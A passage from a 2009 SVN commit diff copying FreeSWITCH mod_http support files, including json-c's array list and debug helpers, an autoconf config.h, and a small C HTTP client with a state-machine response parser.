+	int i;
+	for (i = 0; i < this->length; i++)
+		if (this->array[i])
+			this->free_fn(this->array[i]);
+	free(this->array);
+	free(this);
+}
+
+void *array_list_get_idx(struct array_list *this, int i)
+{
+	if (i >= this->length)
+		return NULL;
+	return this->array[i];
+}
+
+static int array_list_expand_internal(struct array_list *this, int max)
+{
+	void *t;
+	int new_size;
+
+	if (max < this->size)
+		return 0;
+	new_size = max(this->size << 1, max);
+	if (!(t = realloc(this->array, new_size * sizeof(void *))))
+		return -1;
+	this->array = t;
+	(void) memset(this->array + this->size, 0, (new_size - this->size) * sizeof(void *));
+	this->size = new_size;
+	return 0;
+}
+
+int array_list_put_idx(struct array_list *this, int idx, void *data)
+{
+	if (array_list_expand_internal(this, idx))
+		return -1;
+	if (this->array[idx])
+		this->free_fn(this->array[idx]);
+	this->array[idx] = data;
+	if (this->length <= idx)
+		this->length = idx + 1;
+	return 0;
+}
+
+int array_list_add(struct array_list *this, void *data)
+{
+	return array_list_put_idx(this, this->length, data);
+}
+
+int array_list_length(struct array_list *this)
+{
+	return this->length;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/arraylist.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/arraylist.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,38 @@
+/*
+ * $Id: arraylist.h,v 1.4 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _arraylist_h_
+#define _arraylist_h_
+
+#define ARRAY_LIST_DEFAULT_SIZE 32
+
+typedef void (array_list_free_fn) (void *data);
+
+struct array_list {
+	void **array;
+	int length;
+	int size;
+	array_list_free_fn *free_fn;
+};
+
+extern struct array_list *array_list_new(array_list_free_fn * free_fn);
+
+extern void array_list_free(struct array_list *al);
+
+extern void *array_list_get_idx(struct array_list *al, int i);
+
+extern int array_list_put_idx(struct array_list *al, int i, void *data);
+
+extern int array_list_add(struct array_list *al, void *data);
+
+extern int array_list_length(struct array_list *al);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/bits.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/bits.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/bits.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/bits.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/bits.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,27 @@
+/*
+ * $Id: bits.h,v 1.10 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _bits_h_
+#define _bits_h_
+#include <inttypes.h>
+#ifndef min
+#define min(a,b) ((a) < (b) ? (a) : (b))
+#endif
+
+#ifndef max
+#define max(a,b) ((a) > (b) ? (a) : (b))
+#endif
+
+#define hexdigit(x) (((x) <= '9') ? (x) - '0' : ((x) & 7) + 9)
+#define error_ptr(error) ((void*)(intptr_t)error)
+#define is_error(ptr) ((uint32_t)(intptr_t)ptr > (uint32_t)-4000L)
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/config.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/config.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/config.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/config.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/config.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,118 @@
+/* config.h.  Generated from config.h.in by configure.  */
+/* config.h.in.  Generated from configure.in by autoheader.  */
+
+/* Define to 1 if you have the <dlfcn.h> header file. */
+#define HAVE_DLFCN_H 1
+
+/* Define to 1 if you don't have `vprintf' but do have `_doprnt.' */
+/* #undef HAVE_DOPRNT */
+
+/* Define to 1 if you have the <fcntl.h> header file. */
+#define HAVE_FCNTL_H 1
+
+/* Define to 1 if you have the <inttypes.h> header file. */
+#define HAVE_INTTYPES_H 1
+
+/* Define to 1 if you have the <limits.h> header file. */
+#define HAVE_LIMITS_H 1
+
+/* Define to 1 if your system has a GNU libc compatible `malloc' function, and
+   to 0 otherwise. */
+#define HAVE_MALLOC 1
+
+/* Define to 1 if you have the <memory.h> header file. */
+#define HAVE_MEMORY_H 1
+
+/* Define to 1 if you have the `open' function. */
+#define HAVE_OPEN 1
+
+/* Define to 1 if your system has a GNU libc compatible `realloc' function,
+   and to 0 otherwise. */
+#define HAVE_REALLOC 1
+
+/* Define to 1 if you have the <stdarg.h> header file. */
+#define HAVE_STDARG_H 1
+
+/* Define to 1 if you have the <stdint.h> header file. */
+#define HAVE_STDINT_H 1
+
+/* Define to 1 if you have the <stdlib.h> header file. */
+#define HAVE_STDLIB_H 1
+
+/* Define to 1 if you have the `strerror' function. */
+#define HAVE_STRERROR 1
+
+/* Define to 1 if you have the <strings.h> header file. */
+#define HAVE_STRINGS_H 1
+
+/* Define to 1 if you have the <string.h> header file. */
+#define HAVE_STRING_H 1
+
+/* Define to 1 if you have the `strncasecmp' function. */
+#define HAVE_STRNCASECMP 1
+
+/* Define to 1 if you have the `strndup' function. */
+#define HAVE_STRNDUP 1
+
+/* Define to 1 if you have the <syslog.h> header file. */
+#define HAVE_SYSLOG_H 1
+
+/* Define to 1 if you have the <sys/param.h> header file. */
+#define HAVE_SYS_PARAM_H 1
+
+/* Define to 1 if you have the <sys/stat.h> header file. */
+#define HAVE_SYS_STAT_H 1
+
+/* Define to 1 if you have the <sys/types.h> header file. */
+#define HAVE_SYS_TYPES_H 1
+
+/* Define to 1 if you have the <unistd.h> header file. */
+#define HAVE_UNISTD_H 1
+
+/* Define to 1 if you have the `vasprintf' function. */
+#define HAVE_VASPRINTF 1
+
+/* Define to 1 if you have the `vprintf' function. */
+#define HAVE_VPRINTF 1
+
+/* Define to 1 if you have the `vsnprintf' function. */
+#define HAVE_VSNPRINTF 1
+
+/* Define to 1 if you have the `vsyslog' function. */
+#define HAVE_VSYSLOG 1
+
+/* Name of package */
+#define PACKAGE ""
+
+/* Define to the address where bug reports for this package should be sent. */
+#define PACKAGE_BUGREPORT "michael@metaparadigm.com"
+
+/* Define to the full name of this package. */
+#define PACKAGE_NAME "JSON C Library"
+
+/* Define to the full name and version of this package. */
+#define PACKAGE_STRING "JSON C Library 0.3"
+
+/* Define to the one symbol short name of this package. */
+#define PACKAGE_TARNAME "json-c"
+
+/* Define to the version of this package. */
+#define PACKAGE_VERSION "0.3"
+
+/* Define to 1 if you have the ANSI C header files. */
+#define STDC_HEADERS 1
+
+/* Version number of package */
+#define VERSION "0.3"
+
+/* Define to empty if `const' does not conform to ANSI C. */
+/* #undef const */
+
+/* Define to rpl_malloc if the replacement function should be used. */
+/* #undef malloc */
+
+/* Define to rpl_realloc if the replacement function should be used. */
+/* #undef realloc */
+
+/* Define to `unsigned int' if <sys/types.h> does not define. */
+/* #undef size_t */

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/debug.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,101 @@
+/*
+ * $Id: debug.c,v 1.5 2006/01/26 02:16:28 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#include "config.h"
+
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <stdarg.h>
+
+#if HAVE_SYSLOG_H
+# include <syslog.h>
+#endif /* HAVE_SYSLOG_H */
+
+#if HAVE_UNISTD_H
+# include <unistd.h>
+#endif /* HAVE_UNISTD_H */
+
+#if HAVE_SYS_PARAM_H
+#include <sys/param.h>
+#endif /* HAVE_SYS_PARAM_H */
+
+#include "debug.h"
+
+static int _syslog = 0;
+static int _debug = 0;
+
+void mc_set_debug(int debug)
+{
+	_debug = debug;
+}
+
+int mc_get_debug()
+{
+	return _debug;
+}
+
+extern void mc_set_syslog(int syslog)
+{
+	_syslog = syslog;
+}
+
+void mc_abort(const char *msg, ...)
+{
+	va_list ap;
+	va_start(ap, msg);
+#if HAVE_VSYSLOG
+	if (_syslog) {
+		vsyslog(LOG_ERR, msg, ap);
+	} else
+#endif
+		vprintf(msg, ap);
+	exit(1);
+}
+
+
+void mc_debug(const char *msg, ...)
+{
+	va_list ap;
+	if (_debug) {
+		va_start(ap, msg);
+#if HAVE_VSYSLOG
+		if (_syslog) {
+			vsyslog(LOG_DEBUG, msg, ap);
+		} else
+#endif
+			vprintf(msg, ap);
+	}
+}
+
+void mc_error(const char *msg, ...)
+{
+	va_list ap;
+	va_start(ap, msg);
+#if HAVE_VSYSLOG
+	if (_syslog) {
+		vsyslog(LOG_ERR, msg, ap);
+	} else
+#endif
+		vfprintf(stderr, msg, ap);
+}
+
+void mc_info(const char *msg, ...)
+{
+	va_list ap;
+	va_start(ap, msg);
+#if HAVE_VSYSLOG
+	if (_syslog) {
+		vsyslog(LOG_INFO, msg, ap);
+	} else
+#endif
+		vfprintf(stderr, msg, ap);
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/debug.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/debug.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,24 @@
+/*
+ * $Id: debug.h,v 1.5 2006/01/30 23:07:57 mclark Exp $
+ *
+ * Copyright (c) 2004, 2005 Metaparadigm Pte. Ltd.
+ * Michael Clark <michael@metaparadigm.com>
+ *
+ * This library is free software; you can redistribute it and/or modify
+ * it under the terms of the MIT license. See COPYING for details.
+ *
+ */
+
+#ifndef _DEBUG_H_
+#define _DEBUG_H_
+
+extern void mc_set_debug(int debug);
+extern int mc_get_debug();
+
+extern void mc_set_syslog(int syslog);
+extern void mc_abort(const char *msg, ...);
+extern void mc_debug(const char *msg, ...);
+extern void mc_error(const char *msg, ...);
+extern void mc_info(const char *msg, ...);
+
+#endif

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.c

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.c (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/http_req.c) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.c	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,728 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2008, Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ * Version: MPL 1.1
+ *
+ * The contents of this file are subject to the Mozilla Public License Version
+ * 1.1 (the "License"); you may not use this file except in compliance with
+ * the License. You may obtain a copy of the License at
+ * http://www.mozilla.org/MPL/
+ *
+ * Software distributed under the License is distributed on an "AS IS" basis,
+ * WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
+ * for the specific language governing rights and limitations under the
+ * License.
+ *
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ * Copyright (C) Benbria. All Rights Reserved.
+ *
+ * Contributor(s):
+ * 
+ * Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ *
+ * http_req.c -- HTTP client implementation
+ *
+ */
+
+#include "http_req.h"
+
+/*
+extern int dprintf(int, const char *, ...);
+extern int isblank(int);
+*/
+
+/* NOTE: v = version, header = h, status = s, newline = n, phrase = p */
+static accept_state_t state_start(char c, state_machine_t * sm);
+static accept_state_t state_shp(char c, state_machine_t * sm);
+static accept_state_t state_n(char c, state_machine_t * sm);
+static accept_state_t state_vhp_A(char c, state_machine_t * sm);
+static accept_state_t state_vhp_B(char c, state_machine_t * sm);
+static accept_state_t state_vhp_C(char c, state_machine_t * sm);
+static accept_state_t state_vhp_D(char c, state_machine_t * sm);
+static accept_state_t state_vhp_E(char c, state_machine_t * sm);
+static accept_state_t state_vhp_F(char c, state_machine_t * sm);
+static accept_state_t state_vhp_G(char c, state_machine_t * sm);
+static accept_state_t state_vhp_H(char c, state_machine_t * sm);
+static accept_state_t state_hp_A(char c, state_machine_t * sm);
+static accept_state_t state_hp_B(char c, state_machine_t * sm);
+static accept_state_t state_p(char c, state_machine_t * sm);
+static accept_state_t state_error(char c, state_machine_t * sm);
+
+static int read_all(int s, char *buf, size_t len);
+
+#ifdef DEBUG
+int main(int argc, char *argv[])
+{
+	http_response_t response;
+	http_request_t request;
+	int ret;
+	int i;
+
+	if (argc != 2)
+		return EXIT_FAILURE;
+
+	request.method = GET;
+	request.version = DEFAULT_HTTP_VERSION;
+	request.url = argv[1];
+	request.header_len = 0;
+	request.body_len = 0;
+
+	ret = http_req(&request, &response);
+	if (ret == ERROR)
+		return EXIT_FAILURE;
+
+	printf("Version     : %s\n", response.version);
+	printf("Status Code : %d\n", response.status_code);
+	printf("Phrase      : %s\n", response.phrase);
+
+	for (i = 0; i < response.header_len; i++) {
+		printf("Header      : key = [%s] value = [%s]\n", response.headers[i].field_name, response.headers[i].value);
+	}
+
+	fflush(stdout);
+	write(STDOUT_FILENO, response.body, response.body_len);
+	printf("\n");
+
+	free_http_response(&response);
+
+	return EXIT_SUCCESS;
+}
+#endif
+
+int http_req(http_request_t * req, http_response_t * res)
+{
+	uint32_t addr;
+	int s;
+	int ret;
+	uint16_t port = 0;
+	size_t len;
+	struct sockaddr_in sck;
+	struct hostent *hst;
+	char *hostname;
+	char *method;
+	char *buf;
+	int buf_len;
+	ssize_t i;
+	int j;
+	int l;
+	int m;
+	int p;
+	int q = 0;
+	char f = HTTP_FALSE;
+	char port_s[MAX_PORT_LEN];
+	sighandler_t sig;
+	struct timeval tv;
+
+	tv.tv_sec = 1;
+	tv.tv_usec = 0;
+
+
+	(void) memset(&sck, 0, sizeof(sck));
+
+	sig = signal(SIGPIPE, SIG_IGN);
+	if (sig == SIG_ERR) {
+		fprintf(stderr, "Cannot ignore SIGPIPE signal\n");
+		return ERROR;
+	}
+
+	s = socket(PF_INET, SOCK_STREAM, 0);
+	if (s == ERROR) {
+		perror("Could not create socket");
+		return ERROR;
+	}
+
+	(void) setsockopt(s, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
+	(void) setsockopt(s, SOL_SOCKET, SO_SNDTIMEO, &tv, sizeof(tv));
+
+	len = strlen(req->url);
+	hostname = (char *) malloc(len * sizeof(char) + 1);
+	if (hostname == NULL) {
+		perror("Could not allocate memory for hostname");
+		close(s);
+		return ERROR;
+	}
+
+	EMPTY_STRING(hostname);
+
+	l = strlen(req->url) + 1;
+	m = strlen("http://");
+	for (p = 0, j = m; j < l; j++) {
+		if (req->url[j] == ':') {
+			strncpy(hostname, req->url + m, j - m);
+			hostname[j - m] = '\0';
+			f = HTTP_TRUE;
+			p = j;
+			continue;
+		}
+
+		if ((req->url[j] == '/' || req->url[j] == '\0') && f == HTTP_TRUE) {
+			if ((j - p) < MAX_PORT_LEN) {
+				strncpy(port_s, req->url + p + 1, j - p);
+				port_s[j - p] = '\0';
+				port = (uint16_t) atoi(port_s);
+			} else
+				port = 0;
+			q = j;
+			break;
+		}
+
+		if ((req->url[j] == '/' || req->url[j] == '\0') && f == HTTP_FALSE) {
+			strncpy(hostname, req->url + m, j - m);
+			hostname[j - m] = '\0';
+			port = DEFAULT_HTTP_PORT;
+			q = j;
+			break;
+		}
+	}
+
+	if (port == 0 || hostname[0] == '\0') {
+		fprintf(stderr, "Invalid URL\n");
+		close(s);
+		free(hostname);
+		return ERROR;
+	}
+
+	l = strlen(hostname);
+	for (j = 0; j < l; j++) {
+		if (hostname[j] == '/') {
+			hostname[j] = '\0';
+			break;
+		}
+	}
+
+	hst = gethostbyname(hostname);
+	if (hst == NULL) {
+		herror("Could not find host");
+		close(s);
+		free(hostname);
+		return ERROR;
+	}
+
+	addr = *((uint32_t *) hst->h_addr_list[0]);
+
+	sck.sin_family = AF_INET;
+	sck.sin_port = htons(port);
+	sck.sin_addr.s_addr = addr;
+
+	ret = connect(s, (struct sockaddr *) &sck, sizeof(sck));
+	if (ret == ERROR) {
+		perror("Could not connect to host");
+		close(s);
+		free(hostname);
+		return ERROR;
+	}
+
+	switch (req->method) {
+	case GET:
+		method = HTTP_GET_METHOD;
+		break;
+	case HEAD:
+		method = HTTP_HEAD_METHOD;
+		break;
+	case POST:
+		method = HTTP_POST_METHOD;
+		break;
+	case DELETE:
+		method = HTTP_DELETE_METHOD;
+		break;
+	case PUT:
+		method = HTTP_PUT_METHOD;
+		break;
+	default:
+		method = HTTP_GET_METHOD;
+	}
+
+	if (req->url[q] == '/') {
+		dprintf(s, "%s %s HTTP/%s\r\n", method, req->url + q, req->version);
+	} else {
+		dprintf(s, "%s /%s HTTP/%s\r\n", method, req->url + q, req->version);
+	}
+
+	if (port != DEFAULT_HTTP_PORT)
+		dprintf(s, "Host: %s:%d\r\n", hostname, port);
+	else
+		dprintf(s, "Host: %s\r\n", hostname);
+	dprintf(s, "Connection: close\r\n");
+	dprintf(s, "Content-Length: %d\r\n", (int)req->body_len);
+
+	for (i = 0; i < req->header_len; i++) {
+		dprintf(s, "%s: %s\r\n", req->headers[i].field_name, req->headers[i].value);
+	}
+
+	dprintf(s, "\r\n");
+
+
+	if (req->body != NULL && req->body_len != 0) {
+		ret = write(s, req->body, req->body_len);
+		if (ret == ERROR) {
+			perror("Could not write body to socket");
+			free(hostname);
+			return ERROR;
+		}
+	}
+
+	buf = (char *) malloc(RECV_BUFF_SIZE * sizeof(char));
+	if (buf == NULL) {
+		perror("Could not allocate memory for buffer");
+		close(s);
+		free(hostname);
+		return ERROR;
+	}
+
+	buf_len = read_all(s, buf, RECV_BUFF_SIZE - 1);
+	if (buf_len == ERROR) {
+		perror("Could not read into buffer");
+		free(hostname);
+		return ERROR;
+	}
+	buf[buf_len] = '\0';
+
+	close(s);
+
+	(void) signal(SIGPIPE, sig);
+	free(hostname);
+	return http_parse_response(buf, buf_len, res);
+}
+
+int http_parse_response(char *buf, ssize_t buf_len, http_response_t * response)
+{
+	token_t token;
+	state_machine_t sm;
+	int pos;
+	ssize_t size;
+	char buff[STATUS_CODE_LEN];
+	int old_pos;
+	int nt;
+	int i;
+	int j;
+	int f;
+
+	INIT_STATE_MACHINE(&sm);
+
+	sm.buf = buf;
+	sm.buf_len = buf_len;
+
+	pos = sm.pos;
+	token = get_next_token(&sm);
+	if (token != VERSION) {
+		fprintf(stderr, "ERROR %d-%d\n", VERSION, token);
+		return ERROR;
+	}
+
+	size = sm.pos - pos;
+	response->version = (char *) malloc((size + 1) * sizeof(char));
+	if (response->version == NULL) {
+		perror("Cannot allocate memory for version number");
+		return ERROR;
+	}
+	strncpy(response->version, sm.buf + pos, size);
+	response->version[size] = '\0';
+
+	pos = sm.pos;
+	token = get_next_token(&sm);
+	if (token != STATUS_CODE) {
+		fprintf(stderr, "ERROR %d-%d\n", STATUS_CODE, token);
+		return ERROR;
+	}
+
+	size = sm.pos - pos;
+
+	buff[STATUS_CODE_LEN - 1] = '\0';
+	strncpy(buff, sm.buf + pos, STATUS_CODE_LEN - 1);
+
+	response->status_code = atoi(buff);
+
+	pos = sm.pos;
+	token = get_next_token(&sm);
+	if (token != PHRASE) {
+		fprintf(stderr, "ERROR %d-%d\n", PHRASE, token);
+		return ERROR;
+	}
+
+	size = sm.pos - pos - 2;
+	response->phrase = (char *) malloc((size + 1) * sizeof(char));
+	if (response->phrase == NULL) {
+		perror("Cannot allocate memory for phrase");
+		return ERROR;
+	}
+	strncpy(response->phrase, sm.buf + pos, size);
+	response->phrase[size] = '\0';
+
+	old_pos = sm.pos;
+	nt = 0;
+	f = HTTP_FALSE;
+	do {
+		token = get_next_token(&sm);
+		switch (token) {
+		case PHRASE:
+		case STATUS_CODE:
+			f = HTTP_FALSE;
+		case VERSION:
+		case NEWLINE:
+			break;
+		case HEADER:
+			if (f == HTTP_FALSE) {
+				nt++;
+				f = HTTP_TRUE;
+			} else
+				f = HTTP_FALSE;
+			break;
+		case SYNTAX_ERROR:
+			return ERROR;
+		}
+
+		if (token != HEADER && token != PHRASE && token != STATUS_CODE)
+			break;
+	} while (token != SYNTAX_ERROR);
+
+	if (nt != 0) {
+		response->headers = (http_header_t *) malloc(sizeof(http_header_t) * nt);
+		if (response->headers == NULL) {
+			perror("Could not allocate memory for headers");
+			return ERROR;
+		}
+	} else
+		response->headers = NULL;
+
+	response->header_len = nt;
+
+	sm.pos = old_pos;
+	for (i = 0; i < nt; i++) {
+		pos = sm.pos;
+		sm.state = state_start;
+		sm.stop = HTTP_FALSE;
+		token = get_next_token(&sm);
+		size = sm.pos - pos;
+		size -= 2;
+
+		response->headers[i].field_name = (char *) malloc((size + 1) * sizeof(char));
+
+		if (response->headers[i].field_name == NULL) {
+			perror("Could not allocate memory for header");
+			return ERROR;
+		}
+
+		strncpy(response->headers[i].field_name, sm.buf + pos, size);
+		response->headers[i].field_name[size] = '\0';
+
+		pos = sm.pos;
+		token = get_next_token(&sm);
+		if (token == HEADER || token == STATUS_CODE) {
+			for (j = 0; ((sm.buf + pos)[j] == '\r' && (sm.buf + pos)[j + 1] == '\n') == 0; j++);
+			size = j;
+			sm.pos = j + 2;
+		} else
+			size = sm.pos - pos - 2;
+
+		response->headers[i].value = (char *) malloc((size + 1) * sizeof(char));
+
+		if (response->headers[i].value == NULL) {
+			perror("Could not allocate memory for header");
+			return ERROR;
+		}
+		strncpy(response->headers[i].value, sm.buf + pos, size);
+		response->headers[i].value[size] = '\0';
+
+	}
+
+	pos = sm.pos;
+	token = get_next_token(&sm);
+	if (token != NEWLINE) {
+		fprintf(stderr, "ERROR %d-%d\n", NEWLINE, token);
+		return ERROR;
+	}
+
+	response->body = (char *) malloc((buf_len - sm.pos + 1) * sizeof(char));
+	if (response->body == NULL) {
+		perror("Could not allocate memory for body");
+		return ERROR;
+	}
+
+	response->body_len = buf_len - sm.pos;
+	response->body[response->body_len] = '\0';
+
+	(void) memcpy(response->body, buf + sm.pos, response->body_len);
+
+	return SUCCESS;
+}
+
+void free_http_response(http_response_t * response)
+{
+	free(response->version);
+	free(response->phrase);
+	if (response->headers != NULL)
+		free(response->headers);
+	if (response->body != NULL)
+		free(response->body);
+}
+
+token_t get_next_token(state_machine_t * sm)
+{
+	char c;
+	accept_state_t accept;
+
+	while (sm->stop != HTTP_TRUE) {
+		c = sm->buf[sm->pos];
+		accept = sm->state(c, sm);
+		switch (accept) {
+		case NOAS:
+		case ASNR:
+			sm->pos++;
+		case ASWR:
+			break;
+		}
+
+		switch (accept) {
+		case ASNR:
+		case ASWR:
+			sm->state = state_start;
+			return sm->token;
+		case NOAS:
+			break;
+		}
+
+		if (sm->pos >= sm->buf_len) {
+			sm->stop = HTTP_TRUE;
+			break;
+		}
+	}
+
+	return SYNTAX_ERROR;
+}
+
+static accept_state_t state_start(char c, state_machine_t * sm)
+{
+	if (toupper(c) == 'H')
+		sm->state = state_vhp_A;
+	else if (isdigit(c))
+		sm->state = state_shp;
+	else if (c == '\r' || c == '\n')
+		sm->state = state_n;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_shp(char c, state_machine_t * sm)
+{
+	if (isdigit(c))
+		sm->state = state_shp;
+	else if (isblank(c)) {
+		sm->token = STATUS_CODE;
+		return ASNR;
+	} else if (c == ':')
+		sm->state = state_hp_B;
+	else if (c == '\r' || c == '\n')
+		sm->state = state_p;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_n(char c, state_machine_t * sm)
+{
+	if (c == '\r' || c == '\n') {
+		sm->token = NEWLINE;
+		return ASNR;
+	} else if (c == ':')
+		sm->state = state_hp_B;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_A(char c, state_machine_t * sm)
+{
+	if (toupper(c) == 'T')
+		sm->state = state_vhp_B;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_B(char c, state_machine_t * sm)
+{
+	if (toupper(c) == 'T')
+		sm->state = state_vhp_C;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_C(char c, state_machine_t * sm)
+{
+	if (toupper(c) == 'P')
+		sm->state = state_vhp_D;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_D(char c, state_machine_t * sm)
+{
+	if (toupper(c) == '/')
+		sm->state = state_vhp_E;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_E(char c, state_machine_t * sm)
+{
+	if (isdigit(c))
+		sm->state = state_vhp_F;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_F(char c, state_machine_t * sm)
+{
+	if (isdigit(c))
+		sm->state = state_vhp_F;
+	else if (c == '.')
+		sm->state = state_vhp_G;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_G(char c, state_machine_t * sm)
+{
+	if (isdigit(c))
+		sm->state = state_vhp_H;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else if (c == '\n' || c == '\r')
+		sm->state = state_p;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_vhp_H(char c, state_machine_t * sm)
+{
+	if (isdigit(c))
+		sm->state = state_vhp_H;
+	else if (isblank(c)) {
+		sm->token = VERSION;
+		return ASNR;
+
+	} else if (isprint(c))
+		sm->state = state_hp_A;
+
+	return NOAS;
+}
+
+static accept_state_t state_hp_A(char c, state_machine_t * sm)
+{
+	if (c == ':')
+		sm->state = state_hp_B;
+	else if (c == '\r' || c == '\n')
+		sm->state = state_p;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_hp_B(char c, state_machine_t * sm)
+{
+	if (isblank(c)) {
+		sm->token = HEADER;
+		return ASNR;
+	} else if (c == '\r' || c == '\n')
+		sm->state = state_p;
+	else if (c == ':')
+		sm->state = state_hp_B;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_p(char c, state_machine_t * sm)
+{
+	if (c == '\r' || c == '\n') {
+		sm->token = PHRASE;
+		return ASNR;
+	} else if (c == ':')
+		sm->state = state_hp_B;
+	else if (isprint(c))
+		sm->state = state_hp_A;
+	else
+		sm->state = state_error;
+
+	return NOAS;
+}
+
+static accept_state_t state_error(char c, state_machine_t * sm)
+{
+	c = 0;
+	sm->token = SYNTAX_ERROR;
+
+	return ASNR;
+}
+
+static int read_all(int s, char *buf, size_t len)
+{
+	size_t t;
+	size_t r = ERROR;
+
+	for (t = 0; t < len && r != 0;) {
+		r = read(s, buf + t, len - t);
+		if ((int) r == ERROR) {
+			return ERROR;
+		} else {
+			t += r;
+		}
+	}
+
+	return (int) t;
+}

Deleted: freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.h

Copied: freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.h (from rev 14471, freeswitch/trunk/contrib/mod/applications/mod_http/http_req.h) (0 => 14472)


--- freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.h	                        (rev 0)
+++ freeswitch/branches/seven/contrib/mod/applications/mod_http/http_req.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,138 @@
+/* 
+ * FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
+ * Copyright (C) 2008, Eric des Courtis <eric.des.courtis@benbria.com>
+ *
+ * Version: MPL 1.1
+ *
